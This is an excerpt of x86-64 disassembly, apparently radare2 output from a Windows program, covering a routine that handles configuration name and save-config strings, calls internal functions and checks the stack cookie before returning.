mov dword [rsp + 0x74], 0
mov dword [rsp + 0x78], 0
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x74]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WLDAP32.dll_Ordinal_50
lea rbx, [0x14022bd90]
mov r8, rbx
lea rdx, [0x1401b4ef8]
lea rcx, str.Cfg_Name
call fcn.14003ae90
mov dword [rsp + 0x54], 0
mov dword [rsp + 0x58], 0
xor r8d, r8d
lea rdx, [rsp + 0x54]
lea rcx, str.Save_Config
call fcn.140034820
test al, al
je 0x1400a400a
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1060]
call fcn.1400029f0
nop
nop word [rax + rax]
inc r12
cmp byte [rbx + r12], 0
jne 0x1400a3fb0
mov r8, r12
mov rdx, rbx
lea rcx, [rbp + 0x1060]
call fcn.140004460
nop
cmp qword [rbp + 0x1070], 0
je 0x1400a3ffe
lea rdx, [rbp + 0x1060]
lea rcx, [rbp + 0x3a8]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230118]
call fcn.1400e1590
nop
lea rcx, [rbp + 0x1060]
call fcn.140002820
call fcn.1400408a0
nop
lea rcx, [rbp + 0x10c8]
call fcn.14005b700
lea rcx, [rbp + 0x10b8]
call fcn.140064f40
call fcn.14003efd0
call fcn.140013f90
mov rcx, qword [rbp + 0x1130]
xor rcx, rsp
call fcn.14019b1d0
lea r11, [rsp + 0x1240]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14006a5c0
int3